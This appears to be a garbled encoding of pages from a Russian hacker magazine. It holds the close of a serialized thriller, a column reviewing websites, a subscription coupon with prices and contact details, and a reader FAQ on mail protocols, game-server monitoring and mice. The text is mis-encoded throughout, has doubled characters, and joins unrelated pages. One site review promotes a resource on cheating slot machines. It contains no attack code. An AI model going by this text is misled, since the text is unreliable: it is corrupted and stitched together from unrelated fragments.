� ßõîíòîâûé, âèæó áåñïîêîéñòâî â òåáå. Çíàþ ïðè÷èíó. Õî÷åøü óçíàòü,
ãäå èñêàòü, ÷òî èùåøü? Ïîçîëîòè ðó÷êó.
Àíäðåé íå îñòàíàâëèâàëñÿ.
� Áåäà ñ êåì-òî èç áëèçêèõ ñëó÷èëàñü! Âñå âèæó! Âñå çíàþ! Ïîçîëîòè
ðó÷êó, ìóäðûé ñîâåò ïîäñêàæó.
� Îòñòàíü. Íåêîãäà! � ðÿâêíóë Àíäðåé è óñêîðèë øàã.
� Íå õîäè òóäà! Ñâåðíè ñ ïóòè! � ñåòîâàëà öûãàíêà âñëåä, íî Àíäðåé åå
óæå íå ñëóøàë.
Ñëîâíî äëÿ ïîäòâåðæäåíèÿ åå ñëîâ, äîðîãó ïåðåáåæàëà ÷åðíàÿ êîøêà.







Ñäåëàâ ýòî, îíà îñòàíîâèëàñü è îáåðíóëàñü íà íåãî. Âûðàçèòåëüíî ìÿóê-
íóëà, ñëîâíî ÷òî-òî õîòåëà ñêàçàòü, è ïîáåæàëà äàëüøå.
Íà ïåðåêðåñòêå çàãîðåëñÿ êðàñíûé ñâåò, Àíäðåé îñòàíîâèëñÿ, ïåðèîäè-
÷åñêè ïîñìàòðèâàÿ ïî ñòîðîíàì. Îùóùåíèå ñëåæêè íå ïîêèäàëî åãî.
Ìîæåò, ìàòåðèàë äëÿ äîñüå ñîáèðàëñÿ è ñåé÷àñ? Àíäðåé ñìîòðåë íà
ïðîåçæàþùèå ïåðåä íèì ìàøèíû. Åìó êàçàëîñü, ÷òî âîò-âîò â îäíîé èç
íèõ îí óâèäèò ëèöî Êðèñòè èëè Îëåãà Íèêîëàåâè÷à. Íî ÷òî-òî äîëãî íå
âêëþ÷àëñÿ çåëåíûé. Îí óæå ñòîÿë ïåðåä ïåðåõîäîì áîëüøå ìèíóòû.
Ñâåòîôîð äàæå íå äóìàë ïåðåêëþ÷àòü ñâåò.
Âåäîìûé êàêèì-òî âíóòðåííèì ÷óâñòâîì, Àíäðåé ïðîïóñòèë ìàøèíó è âû-
áåæàë íà äîðîãó, ëàâèðóÿ ìåæäó ïðîåçæàþùèìè è ñèãíàëÿùèìè èíîìàð-
êàìè. Ïîñëûøàëñÿ âèçã òîðìîçîâ, ëèöà âîäèòåëåé ÿðêî âûðàæàëè âñå, ÷òî
îíè î íåì äóìàëè� íî îáîøëîñü. Îêàçàâøèñü íà äðóãîé ñòîðîíå äîðîãè,
Àíäðåé äâèíóëñÿ äàëüøå. Äî áîëüíèöû îñòàâàëîñü íå áîëüøå 300 ìåòðîâ.
� Ýé, êóðèòü åñòü?
Ïóòü ïåðåêðûë çäîðîâåííûé àìáàë. Àíäðåé õîòåë îáîéòè åãî, íî àìáàë
îñòàíîâèë.
� Ýé, ÿ ñ òîáîé, ñóêà, ðàçãîâàðèâàþ! ×î, ãëóõîé?
� Èçâèíèòå, ÿ ñïåøó, � òèõî îòâåòèë Àíäðåé.
� Íèêóäà íå ïîéäåøü, ìû ñ òîáîé åùå íå çàêîí÷èëè. À-íó âûâîðà÷èâàé
êàðìàíû! � ñêîìàíäîâàë ìóæèê.
Àíäðåé îñìîòðåë óëèöó â ïîèñêàõ ïîìîùè, íî íèêîãî ðÿäîì íå áûëî.
Òîëüêî íåñêîëüêî ëàðüêîâ âäàëè, ðÿäîì ñ êîòîðûìè âèäíåëèñü ïîêóïàòå-
ëè, è äåâèöà íà äðóãîì êîíöå äîðîãè.
� Íà ìåíÿ ñìîòðè, íèêòî òåáå íå ïîìîæåò, óðîä!
Àíäðåé ãëÿíóë çà ñïèíó àìáàëó è, ïîêàçàâ òóäà ïàëüöåì, ãðîìêî êðèêíóë:
«Ìèëèöèÿ!». Àìáàë íà ñåêóíäó îïåøèë, îãëÿíóëñÿ, è ýòîãî áûëî äîñòàòî÷-
íî, ÷òîáû Àíäðåé âûñêîëüçíóë è ïóñòèëñÿ íàóòåê. Ó íåãî óæå íå áûëî âðå-
ìåíè ïîäóìàòü, ÷òî òàêîå äåðçêîå îãðàáëåíèå äíåì â öåíòðå ãîðîäà áûëî
ñòðàííûì, äà è íà ôîíå îñòàëüíîãî ýòîò ýïèçîä áûë íå ñàìûì ÿðêèì.
� Ïîìîãèòå! � óñëûøàë îí æåíñêèé êðèê.
Êðè÷àëà òà ñàìàÿ äåâèöà, êîòîðóþ îí âèäåë íåñêîëüêèìè ìãíîâåíèÿìè
ðàíåå.
� Ìîëîäîé ÷åëîâåê, ïîìîãèòå! ß, êàæåòñÿ, íîãó âûâèõíóëà!
Îíà ëåæàëà íà òðîòóàðå, ñõâàòèâøèñü çà ùèêîëîòêó. Ëèöî îòîáðàæàëî
ãðèìàñó áîëè.
� Ïîæàëóéñòà! � ïîâòîðèëà îíà.
Ýòî áûëî óæå ñëèøêîì. Êàê áóäòî âñå âîêðóã ïûòàëîñü îñòàíîâèòü åãî,
çàñòàâèòü ñâåðíóòü ñ íàìå÷åííîãî ïóòè. Ñîâïàäåíèå? Èëè îíè âñå çà-
îäíî? Àíäðåé íå ñòàë ðàçáèðàòüñÿ, è, ñòàðàÿñü íå äóìàòü, ÷òî ïîñòóïà-
åò íå ïî-ìóæñêè, ïîáåæàë äàëüøå, íå îáðàùàÿ âíèìàíèÿ íà æàëîáíûå
æåíñêèå êðèêè.
Âîò è áîëüíèöà.

Îí âáåæàë ïî ñòóïåíüêàì, îòêðûë äâåðü, è òîëüêî âíóòðè ïåðåâåë äóõ.

* * *

Áîëüíèöà áûëà ñîâåðøåííî îáû÷íîé. Õîòÿ ñåé÷àñ áû Àíäðåé íå óäèâèë-
ñÿ, äàæå åñëè áû íà ñòåíàõ â êîðèäîðå áûëè íàïèñàíû ñòðî÷êè èç Áèáëèè
÷åëîâå÷åñêîé êðîâüþ. Îí ïðîøåë â îòäåë ðåãèñòðàöèè è ñïðîñèë, â êàêîé
ïàëàòå íàõîäèòñÿ äðóã.
Ïîäíÿâøèñü íà òðåòèé ýòàæ, îí íàøåë íóæíóþ öèôðó.
� Âû ê êîìó? � ïîèíòåðåñîâàëàñü ïðîõîäÿùàÿ ìåäñåñòðà.
� Ê Ãåîðãèþ Åðøîâó.
� À âû åìó êòî?
� ß äðóã.
� Ïðîñòèòå, íî ìû ïîêà ðàçðåøàåì ïîñåùåíèÿ ê íåìó òîëüêî ðîäñòâåí-
íèêàì. Îí âñå åùå íàõîäèòñÿ â î÷åíü òÿæåëîì ñîñòîÿíèè.
� Ñ íèì âñå áóäåò â ïîðÿäêå?
� Çíà÷èòåëüíàÿ ÷àñòü êîæè ïîðàæåíà, íî ñî âðåìåíåì îí ïîïðàâèòñÿ.
� Ìîæíî ìíå åãî õîòÿ áû óâèäåòü. Î÷åíü íóæíî, ïîæàëóéñòà.
� Ìû íå ðàçðåøàåì ïîñåùåíèÿ�
� ß ïîíÿë, � ïðåðâàë Àíäðåé. � Íî ÿ åìó, êàê ðîäñòâåííèê. ß íå áóäó
åãî ïåðåóòîìëÿòü, ÷åñòíîå ñëîâî. Ìíå äåéñòâèòåëüíî íóæíî.
Ìåäñåñòðà ñåêóíäó ïîêîëåáàëàñü, íî ñäàëàñü.
� Õîðîøî, òîëüêî íà îäíó ìèíóòêó.
Îíè âîøëè â ïàëàòó.
Êîéêà áûëà ïóñòà.
� Ãäå îí?
Ïî ëèöó ìåäñåñòðû îí ïîíÿë, ÷òî äëÿ íåå ñàìîé èñ÷åçíîâåíèå ïàöèåíòà
� íåîæèäàííîñòü.
� Òîëüêî íåäàâíî áûë çäåñü.
Ìåäñåñòðà âûáåæàëà çà ïîìîùüþ, à Àíäðåé ïîøåë ê âûõîäó. Îí áûë
óâåðåí, ÷òî áåç «ÂÐ Èíñàéä» è Îëåãà Íèêîëàåâè÷à òóò íå îáîøëîñü. ×òî
äåëàòü òåïåðü, îí íå çíàë.
Â êàðìàíå çàâèáðèðîâàë ìîáèëüíèê. Àíäðåé íå æäàë íè îò êîãî çâîíêà,
è êîãäà äîñòàë òåëåôîí èç êàðìàíà, òî ñðàçó æå ïîñìîòðåë íà èìÿ çâî-
íèâøåãî.
Æîðêà.
� Àëëî? � ñ âîëíåíèåì îòâåòèë Àíäðåé.
� Ïðèâåò, äðóã. Åñëè õî÷åøü óçíàòü, ÷òî ïðîèñõîäèò, òî  ðîâíî ÷åðåç 2
÷àñà ïðèõîäè â íàøó êàôåøêó. ß áóäó òåáÿ æäàòü.
Â òðóáêå ðàçäàëèñü êîðîòêèå ãóäêè.

Ïðîäîëæåíèå ñëåäóåò
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Èâàí Ñêëÿðîâ (www.sklyaroff.ru)
Èâàí Êóçíåöîâ aka SeeD (seed@nsk.ru)

Anti-Malicious
Software
www.anti-mmalware.ru
Òåðìèí Anti-Malware ÿâëÿåòñÿ ñîêðàùåíèåì îò Anti-
Malicious Software, ÷òî â ïåðåâîäå íà ÷åëîâå÷åñêèé
îçíà÷àåò ïðîãðàììíîå îáåñïå÷åíèå äëÿ çàùèòû îò
âðåäîíîñíîãî êîäà, âðàæäåáíûõ èëè íåñàíêöèîíè-
ðîâàííûõ äåéñòâèé. Ïîýòîìó íåñëîæíî äîãàäàòüñÿ
î ÷åì ýòîò ñàéò. Íîâîñòè, ïóáëèêàöèÿ èíôîðìàöèè
î òåêóùèõ è âîçìîæíûõ âèäàõ óãðîç, àíàëèòèêà,
àíàëèç ðàçëè÷íûõ òåõíîëîãèé çàùèòû è ðåøåíèé
íà èõ îñíîâå, ôîðóìû, ïîëåçíûå ññûëêè è âñå ñâÿ-
çàííîå ñ çàùèòîé îò âèðóñîâ, ñïàìà, ôèøèíãà,
øïèîíñêèõ è äðóãèõ âðåäîíîñíûõ ïðîãðàìì.

Âçëîì èãðîâûõ 
àâòîìàòîâ
www.atronic.net.ru
Òèïè÷íàÿ êàðòèíà â ëþáîì ãîðîäå Ðîññèè: ñòîèò
èãðîâîé àâòîìàò ãäå-íèáóäü â ïðîäóêòîâîì ìàãà-
çèíå, ïîäõîäèò áàáêà è êèäàåò â íåãî ïÿòàêè äî
òåõ ïîð, ïîêà íå ïåðåêèäàåò âñþ ñâîþ ïåíñèþ.
Áîëåå òîãî, íàðîä äàæå âñòàåò â î÷åðåäü, ÷òîáû
ðàññòàòüñÿ ñî ñâîèìè êðîâíûìè! À êîëè÷åñòâî
êàçèíî â ëþáîì áîëåå-ìåíåå êðóïíîì ãîðîäå
óæå ïðåâûøàåò ÷èñëî ìóçååâ! Íà ýòîì ñàéòå òû
óçíàåøü âî âñåõ òåõíè÷åñêèõ äåòàëÿõ î òîì, êàê
ìîæíî îáûãðàòü íà êðóïíûå áàáêè ìíîãèå âèäû
èãðîâûõ àâòîìàòîâ. Äëÿ ïîëíîöåííîãî èñïîëüçî-
âàíèÿ ðåñóðñà íåîáõîäèìî ïðîéòè ðåãèñòðàöèþ.

Èíòåðíåò-æóðíàë
Root#UA
http://osa.root-uua.info
Äîâîëüíî èíòåðåñíûé e-zine, ñóäÿ ïî ïðèñòàâêå
UA, ñîçäàííûé õîõëàìè. Ìàòåðèàëû â æóðíàëå â
îñíîâíîì ñ óêëîíîì â *NIX, íàïðèìåð: áåñïà-
ðîëüíàÿ àóòåíòèôèêàöèÿ ïî êëþ÷ó ÷åðåç
pam_usb, postfix çà 10 ìèíóò, ïðîñòîé DNS-ñåð-
âåð äëÿ ëîêàëüíîé ñåòè, ÔÈÄÎ ïîèíò-ñòàíöèÿ,
âî FreeBSD ÷åðåç TCP, êîíòðà ïîä Ëèíóêñ, îðãà-
íèçàöèÿ ñåòåâîãî äîñòóïà ñîòðóäíèêîâ îôèñà ê
ñêàíåðó, PureFTPd ó Âàñ íà ñëóæáå, Apache2 è
åãî äðóçüÿ, ïîëåçíûå PHP-ñêðèïòû è ò.ï.

Ñîîáùåñòâî 
ýêñïåðòîâ
www.report.ru
Report.ru � èíòåðíåò-ïðîåêò, îáúåäèíÿþ-
ùèé â ñåáå ñïåöèàëèñòîâ èç ðàçíûõ îáëàñ-
òåé ÷åëîâå÷åñêîé äåÿòåëüíîñòè. Íàïðèìåð,
â ðàçäåëå «Êîìïüþòåðû è Èíòåðíåò» óæå
îòêðûòû òàêèå òåìû, êàê «Ñåòåâàÿ áåçîïàñ-
íîñòü», «Õàêåðû», «Êèáåðòåððîðèçì»,
«Honeypots», «Çàùèòà ïðàâ ëè÷íîñòè â Èí-
òåðíåòå» è ìíîãèå äðóãèå. Âåäóùèé ñîçäàåò
áèáëèîòåêó îïèñàíèé ëó÷øèõ ñåòåâûõ ðå-
ñóðñîâ ïî òåìå, ïîñòèò âàæíûå íîâîñòè, ïè-
øåò ñòàòüè ïî èíòåðåñíûì ïðîáëåìàì ñâîåé
òåìû, îáùàåòñÿ ñ ïîñåòèòåëÿìè íà ôîðóìå.
Òû òîæå ìîæåøü ñòàòü ýêñïåðòîì!
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Âû÷èñëèòåëüíûå
ìåòîäû 
è ïðîãðàììèðîâàíèå
http://num-mmeth.srcc.msu.su

Íà ýòîì ñàéòå ðàñïîëàãàåòñÿ ýëåêòðîííûé
æóðíàë «Âû÷èñëèòåëüíûå ìåòîäû è ïðîãðàì-
ìèðîâàíèå». Ýòî òåáå íå êàêîé-íèáóäü e-zine
îò ðåàë-õàêåðç-êðþ, à æóðíàë îò Íàó÷íî-èñ-
ñëåäîâàòåëüñêîãî âû÷èñëèòåëüíîãî öåíòðà
Ìîñêîâñêîãî ãîñóäàðñòâåííîãî óíèâåðñèòåòà
èìåíè Ì.Â. Ëîìîíîñîâà (ÌÃÓ). Ïîýòîìó åñëè
òåáÿ íå ïóãàþò òàêèå íàçâàíèÿ ñòàòåé, êàê
«Êîððåêöèÿ êðóïíîìàñøòàáíîãî ôîíà ñîëíå÷-
íûõ äîïïëåðîãðàìì» èëè «Âåéâëåò-ðåãóëÿðè-
çàöèÿ îïåðàöèè äèôôåðåíöèðîâàíèÿ ñèãíà-
ëîâ ñ øóìîì», òî íàäåâàé ñâîè î÷êè ñ òîëñòû-
ìè ëèíçàìè è áåãîì íà ýòîò ñàéò.

Ôîêóñ-ïîêóñ!
www.magics.ru
Êàæäûé èç íàñ â äåòñòâå, íàñìîòðåâøèñü 
ïî òåëåâèçîðó ðàçíûõ Ñóëåéìàíîâ-Àáäóðàõ-
ìàíîâ, êîíå÷íî æå, áîëüøå âñåãî íà ñâåòå
ìå÷òàë ñòàòü âîëøåáíèêîì è ïî ñîâìåñòè-
òåëüñòâó íåìíîãî ôîêóñíèêîì. Ìå÷òû äåòñòâà
ïîäñîçíàòåëüíî îñòàþòñÿ ñ íàìè. Ïîýòîìó
ñàéò, ïîñâÿùåííûé âîëøåáíîìó è çàãàäî÷íî-
ìó ìèðó ìàãèè, áóäåò íåìàëî èíòåðåñåí âñåì
áåç èñêëþ÷åíèÿ. Ðåñóðñ ïðåäñòàâëÿåò ñîáîé
ïðîñòî êëàäåçü ðàçëè÷íûõ ñåêðåòîâ, òàéí, òå-
îðèé è ïðàêòèê ìàãè÷åñêîãî èñêóññòâà. Áîëü-
øîé ðàçäåë ïî ïðàêòè÷åñêîé ìàãèè, ìàãè÷åñ-
êèå ñîâåòû, ïðåäñòàâëåííûå â âèäå FAQ,
ó÷åáíèêè ìàãèè «îò À äî ß», ôîêóñû, òðàíñëè-
ðóåìûå ïî TV, � âñå ýòî ïðèñóòñòâóåò â áîëü-
øîì êîëè÷åñòâå. À äëÿ òåõ, êòî çàõî÷åò âñåðüåç
çàíÿòüñÿ ýòèì èñêóññòâîì, íà ñàéòå æäåò ìà-
ãàçèí, â êîòîðîì ìîæíî ñîâåðøèòü âñå íåîá-
õîäèìûå ôîêóñíèêó ïîêóïêè.

Ñíèìèòå 
ýòî íåìåäëåííî!
www.uglydress.com
Ñîâñåì íåäàâíî â îáçîðå áûëà ññûëêà íà ñàéò
î òîì, êàê çíàìåíèòîñòè ïîãëîùàþò ïèùó. Ïîñ-
ìîòðåëè? Óäèâèëèñü? :) Ñåãîäíÿ ðå÷ü ïîéäåò
íåìíîãî î äðóãîì. Ïî àäðåñó www.uglydress.com
íàõîäèòñÿ ñàéò, êîòîðûé ïðåäñòàâëÿåò ñîáîé
ïîñòîÿííî îáíîâëÿåìûé âèðòóàëüíûé òîï, îáîç-
ðåâàþùèé ñàìûõ äóðíî îäåâàþùèõñÿ çâåçä è
íå òîëüêî. Íåîáû÷íûé õèò-ïàðàä ñîñòàâëÿåòñÿ
ïî íåñêîëüêèì êðèòåðèÿì îòñòîéíîñòè ïðèêè-
äîâ. Õóäøàÿ îáóâü, óæàñàþùèé ïîäáîð öâåòîâ
îäåæäû è ñàìà îäåæäà, ïðè÷åñêè, ñîïóòñòâóþ-
ùèå èì àêñåññóàðû � âñå ýòî âûñòðîåíî ïî
ïðèíöèïó òîïà è ñîïðîâîæäåíî ñîîòâåòñòâóþ-
ùèìè êàðòèíêàìè è ôîòîãðàôèÿìè.  

__Ann Bolshova
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Êàê îôîðìèòü çàêàç?
1 Çàïîëíèòü êêóïîí èè êêâèòàíöèþ
2 Ïåðå÷èñëèòü ññòîèìîñòü ïïîäïèñêè ÷÷åðåç ÑÑáåðáàíê 
3 Îáÿçàòåëüíî ïïðèñëàòü ââ ððåäàêöèþ êêîïèþ îîïëà÷åííîé êêâèòàíöèè 

ñ ÷÷åòêî ççàïîëíåííûì êêóïîíîì ëëþáûì èèç ïïåðå÷èñëåííûõ ññïîñîáîâ: 
ïî ýëåêòðîííîé ïî÷òå: subscribe@glc.ru; 
ïî ôàêñó: 780.88.24;
ïî àäðåñó: 107031, Ìîñêâà, Äìèòðîâñêèé ïåðåóëîê, ä. 4, 
ñòðîåíèå 2, ÎÎÎ «Ãåéì Ëýíä», îòäåë ïîäïèñêè.

ÂÍÈÌÀÍÈÅ!
ïîäïèñêà îôîðìëÿåòñÿ â äåíü îáðàáîòêè êóïîíà è êâèòàíöèè.
êóïîíû, îòïðàâëåííûå ïî ôàêñó èëè ýëåêòðîííîé ïî÷òå, îáðàáàòûâàþòñÿ â òå÷åíèå 5 ðàáî÷èõ äíåé.
êóïîíû, îòïðàâëåííûå ïî÷òîé íà àäðåñ ðåäàêöèè îáðàáàòûâàþòñÿ â òå÷åíèå 20 äíåé.
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Íàïðèìåð, åñëè ïðîèçâåñòè îïëàòó â ñåíòÿáðå, òî ïîäïèñêó ìîæåíî îôîðìèòü ñ íîÿáðÿ.
ÏÎ ÂÂÑÅÌ ÂÂÎÏÐÎÑÀÌ, ÑÂßÇÀÍÍÛÌ ÑÑ ÏÏÎÄÏÈÑÊÎÉ, ÇÇÂÎÍÈÒÅ ÏÏÎ ÁÁÅÑÏËÀÒÍÛÌ ÒÒÅËÅÔÎÍÀÌ:

780-888-229 (ÄËß ÌÎÑÊÂÈ×ÅÉ) È 8-8800-2200-33-9999 (ÄËß ÐÅÃÈÎÍÎÂ È ÀÁÎÍÅÍÒÎÂ ÌÒÑ, ÁÈËÀÉÍ,

ÌÅÃÀÔÎÍ). ÂÂÑÅ ÂÂÎÏÐÎÑÛ ÏÏÎ ÏÏÎÄÏÈÑÊÅ ÌÌÎÆÍÎ ÏÏÐÈÑÛËÀÒÜ ÍÍÀ ÀÀÄÐÅÑ: IINFO@GLC.RU

Ïîäïèñêà 
äëÿ þðèäè÷åñêèõ ëèö

Ìîñêâà: ÎÎÎ "Èíòåð-Ïî÷òà", 
òåë.: 500-00-60, e-mail: inter-post@sovintel.ru
Ðåãèîíû: ÎÎÎ "Êîðïîðàòèâíàÿ ïî÷òà",
òåë.: 953-92-02, å-mail: kpp@sovintel.ru
Äëÿ ïîëó÷åíèÿ ñ÷åòà íà îïëàòó ïîäïèñ-
êè íóæíî ïðèñëàòü çàÿâêó ñ íàçâàíèåì
æóðíàëà, ïåðèîäîì ïîäïèñêè, áàíêîâñ-
êèìè ðåêâèçèòàìè, þðèäè÷åñêèì è ïî÷-
òîâûì àäðåñîì, òåëåôîíîì è ôàìèëè-
åé îòâåòñòâåííîãî ëèöà çà ïîäïèñêó.
www.interpochta.ru

«Õàêåð»+2 CD

840ð ÇÀ 6 ÌÅÑßÖÅÂ 

1620ð ÇÀ 12 ÌÅÑßÖÅÂ

«Õàêåð»+DVD

990ð ÇÀ 6 ÌÅÑßÖÅÂ 

1920ð ÇÀ 12 ÌÅÑßÖÅÂ

«Õàêåð»+«Õàêåð »

1830ð ÇÀ 6 ÌÅÑßÖÅÂ 

3600ð ÇÀ 12 ÌÅÑßÖÅÂ

Cïåö »
ÇÀÊÀÇ ÆÓÐÍÀËÀ Â ÐÅÄÀÊÖÈÈ

ÇÀÀÊÊÀÀÆÆÈ 

ÆÆÓÐÐÍÀÀËË 

ÂÂ ÐÐÅÄÀÀÊÊÖÖÈÈ 

È ÑÑÝÝÊÊÎÎÍÎÎÌÌÜÜ 

ÄÅÍÜÜÃÃÈ!!!!!!



ÏÏÎÎÄÄÏÏÈÈÑÑÍÍÎÎÉÉ ÊÊÓÓÏÏÎÎÍÍ
Ïðîøó îîôîðìèòü ïïîäïèñêó:



ÇÀÄÀÂÀß ÂÎÏÐÎÑ, ÏÎÄÓ-
ÌÀÉ! ÍÅ ÑÒÎÈÒ ÌÍÅ ÏÎÑÛ-
ËÀÒÜ ÂÎÏÐÎÑÛ, ÒÀÊ ÈËÈ
ÈÍÀ×Å ÑÂßÇÀÍÍÛÅ Ñ ÕÀ-
ÊÎÌ/ÊÐÝÊÎÌ/ÔÐÈÊÎÌ �
ÄËß ÝÒÎÃÎ ÅÑÒÜ HACK-FAQ
(HACKFAQ@REAL.XAKEP.RU),
ÍÅ ÑÒÎÈÒ ÒÀÊÆÅ ÇÀÄÀÂÀÒÜ
ÎÒÊÐÎÂÅÍÍÎ ËÀÌÅÐÑÊÈÅ
ÂÎÏÐÎÑÛ, ÎÒÂÅÒ ÍÀ ÊÎÒÎ-
ÐÛÅ ÒÛ ÏÐÈ ÎÏÐÅÄÅËÅÍ-
ÍÎÌ ÆÅËÀÍÈÈ ÌÎÆÅØÜ
ÍÀÉÒÈ È ÑÀÌ. ß ÍÅ ÒÅËÅ-
ÏÀÒ, ÏÎÝÒÎÌÓ ÊÎÍÊÐÅÒÈ-
ÇÈÐÓÉ ÂÎÏÐÎÑ, ÏÐÈÑÛËÀÉ
ÊÀÊ ÌÎÆÍÎ ÁÎËÜØÅ 
ÈÍÔÎÐÌÀÖÈÈ.

_FAQ comments:
Ñòåïàí Èëüèí aka Step:
faq@real.xakep.ru
_units

[X
À

Ê
Å

Ð
1

2
 [

8
4

] 
0

5
 >

 Þ
Í

È
Ò

Û
1

4
2

]

faq

__cutter

Q: ÂÂ ÷÷åì ððàçíèöà ììåæäó PPOP èè IIMAP ïïðîòîêî-
ëàìè, èèñïîëüçîâàíèå êêàêîãî èèç ííèõ ññ÷èòàåòñÿ
ïðåäïî÷òèòåëüíåå? ÄÄîëãîå ââðåìÿ þþçàë PPOP3,
íî ííåäàâíî îî÷åíü ññèëüíî îîñêîðáèëñÿ, óóñëû-
øàâ îîò ääðóãà, ÷÷òî ýýòî óóæå ïïðîøëûé ââåê�
A: Âîçìîæíî, ÿ òåáÿ îãîð÷ó, íî òû äåéñòâè-
òåëüíî îòñòàë îò æèçíè. IMAP � ýòî áîëåå ñî-
âåðøåííûé ïî÷òîâûé ïðîòîêîë, â êîòîðîì
èñïðàâèëè ñðàçó íåñêîëüêî íåäîñòàòêîâ äîá-
ðîãî ñòàðè÷êà POP3. Íåñìîòðÿ íà îäèíàêîâîå
ïðåäíàçíà÷åíèå, IMAP è POP3 èñïîëüçóþò
êàðäèíàëüíî ðàçëè÷íûå êîíöåïöèè ðàáîòû.
Êëþ÷åâîå îòëè÷èå çàêëþ÷àåòñÿ â òîì, ÷òî
IMAP õðàíèò âñå ñîîáùåíèÿ íà ñåðâåðå, ñêè-
äûâàÿ ïîëüçîâàòåëþ òîëüêî çàãîëîâêè, à ïî
çàïðîñó � êîïèþ çàïðàøèâàåìîãî ñîîáùå-
íèÿ. POP3 îòäàåò âñå ñîîáùåíèÿ þçåðó è ïî
óìîë÷àíèþ óíè÷òîæàåò èõ íà ñåðâåðå. Êîíå÷-
íî, è POP3 ïîçâîëÿåò õðàíèòü ñîîáùåíèÿ íà
ñåðâåðå è äàæå ïåðåä çàêà÷êîé ñîîáùåíèé
ïðîñìàòðèâàòü èõ çàãîëîâêè, íî ñäåëàíî ýòî
íàñòîëüêî íåóäîáíî, ÷òî ïîëüçà îò ïîäîáíîé
âîçìîæíîñòè ïðåäñòàâëÿåòñÿ âåñüìà ñîìíè-
òåëüíîé. ×òîáû ðåàëüíî îöåíèòü ïðåèìóùåñò-
âà IMAP, ïðèâåäó ïàðó æèçíåííûõ ïðèìåðîâ.
Âîò ìíå, íàïðèìåð, íåðåäêî ïðèõîäèòñÿ ðàáî-
òàòü ñðàçó íà íåñêîëüêèõ êîìïüþòåðàõ: äî-
ìàøíåì, ðàáî÷åì, íîóòáóêå. Åñòåñòâåííî, óñ-
òàíàâëèâàòü ïî÷òîâûå êëèåíòû íà êàæäûé èç
íèõ äîâîëüíî ãëóïî. È íå ñòîèò çàêà÷èâàòü ïî÷-
òó íà êàæäîì èç íèõ, òàê êàê â èòîãå ìîæåò ïî-
ëó÷èòüñÿ, ÷òî âñÿ êîððåñïîíäåíöèÿ áóäåò ðàñ-
ñðåäîòî÷åíà íà âñåõ ìàøèíàõ, à íà ïîèñê íóæ-
íîãî ïèñüìà áóäåò óõîäèòü íåìûñëèìîå êîëè-
÷åñòâî âðåìåíè. Èñïîëüçóÿ IMAP, î ïîäîáíîé
ïðîáëåìå ìîæíî äàæå íå çàäóìûâàòüñÿ. Åùå
îäíà ïðîáëåìà � ñïàì. Çàêà÷èâàòü ñîòíè ðåê-
ëàìíûõ ïèñåì, êîòîðûå åæåäíåâíî îòïðàâëÿ-

þòñÿ íà íàøè ðåäàêöèîííûå ÿùèêè, äîâîëüíî
íàêëàäíî. Çíà÷èòåëüíî ïðîùå îòñåÿòü èõ íà
ñåðâåðå è íå çàãðóæàòü ïîäîáíîé åðóíäîé äðà-
ãîöåííûé êàíàë. Ïðàâäà, ïîäîáíûé ïîäõîä
íàêëàäûâàåò è íåêîòîðûå îãðàíè÷åíèÿ. Áîëü-
øèíñòâî áåñïëàòíûõ ïî÷òîâûõ ñëóæá íå ìîãóò
ïîçâîëèòü ñåáå ñîäåðæàòü êîððåñïîíäåíöèþ
ïîëüçîâàòåëåé, à ïîýòîìó íåðåäêî ïðåäîñòàâ-
ëÿþò äîñòóï èñêëþ÷èòåëüíî ïî POP3. Ñ äðóãîé
ñòîðîíû, ñåðâèñ 30gigs.com ïðåäîñòàâëÿåò â
ðàñïîðÿæåíèå þçåðà àæ 30 Ãá. Òàê ÷òî èñêëþ-
÷åíèå åñòü èç ëþáîãî ïðàâèëà.

Q: ÂÂ ííàøåé ääîìàøíåé ëëîêàëêå ïïðàçäíèê: ààä-
ìèí ïïîäíÿë ââûäåëåííûå ññåðâåðû ññðàçó ääëÿ
íåñêîëüêèõ ïïîïóëÿðíûõ èèãð. ÝÝòî, êêîíå÷íî, ççà-
ìå÷àòåëüíî, ííî ääëÿ òòîãî, ÷÷òîáû ââûÿñíèòü, èèã-
ðàåò ëëè êêòî-ííèáóäü ííà ññåðâåðå èèëè ííåò, ïïðè-
õîäèòñÿ ççàïóñêàòü ííóæíóþ èèãðó, àà ýýòî îî÷åíü
íåóäîáíî. ÁÁûòü ììîæåò, ññóùåñòâóåò óóíèâåð-
ñàëüíîå ññðåäñòâî, êêîòîðîå óóìååò ììîíèòîðèòü
ñåðâåðû ááåç ççàïóñêà ññàìèõ èèãð?
A: ß áû óäèâèëñÿ, åñëè òàêîãî ñðåäñòâà íå áûëî.
Íàèáîëåå ïðîäâèíóòûì ïðîãðàììíûì ðåøåíè-
åì â îáëàñòè ìîíèòîðèíãà èãðîâûõ ñåðâåðîâ ïî
ïðàâó ñ÷èòàåòñÿ ïðîãà HLSW (www.hlsw.de). Ïî-
ïóëÿðíîñòü òóëçà çàâîåâàëà íåñëó÷àéíî: áëàãî-
äàðÿ ñâîåâðåìåííûì îáíîâëåíèÿì îíà óìååò
àíàëèçèðîâàòü ñåðâåðû äëÿ àáñîëþòíî âñåõ
ñîâðåìåííûõ èãð. Ñðåäè íèõ, íàïðèìåð, ñâåæèå
Battlefield2, Quake 4, Half Life2. ß óæå íå ãîâîðþ
î ñòàðûõ-äîáðûõ Quake3 è Counter-Strike.
Âîçìîæíî, òåáå òàêæå ïîíðàâèòñÿ èäåÿ îðãà-
íèçîâàòü âåá-ñåðâåð, äèíàìè÷åñêè îáíîâëÿ-
þùèé ñòàòèñòèêó ïî àêòèâíûì ñåðâåðàì. 
Â ýòîì ñëó÷àå ðåêîìåíäóþ âîñïîëüçîâàòüñÿ
ïëàãèíîì Game Server Monitor äëÿ èçâåñòíîãî
SMS-äâèæêà PHP Nuke (www.phpnuke.org)



Q: ÊÊàêèå ììûøêè ííûí÷å èèñïîëüçóþò ïïðî-ããåéìåðû? 
Â ïïîäàðîê ääðóãó õõî÷ó ïïðèîáðåñòè ððåàëüíî êêðóòîé
äåâàéñ, ííî ííå ââ êêóðñå ññîâðåìåííûõ òòåíäåíöèé.
A: ß äàâíî ïîíÿë, ÷òî íà òàêèõ, êàçàëîñü áû ìåëî-
÷àõ, êàê êëàâèàòóðà è ìûøü, íå ýêîíîìÿò. Äîðîãàÿ
êëàâà Cherry è ìåãàêðóòîé «ãðûçóí» Logitech
MX300, êóïëåííûå íåñêîëüêî ëåò íàçàä, ðàáîòàþò
ó ìåíÿ äî ñèõ ïîð. È çíàåøü, ìåíÿòü ÿ èõ íå ñîáè-
ðàþñü. Õîòÿ ñäåëàòü ýòî î÷åíü çàõîòåëîñü, êîãäà ÿ
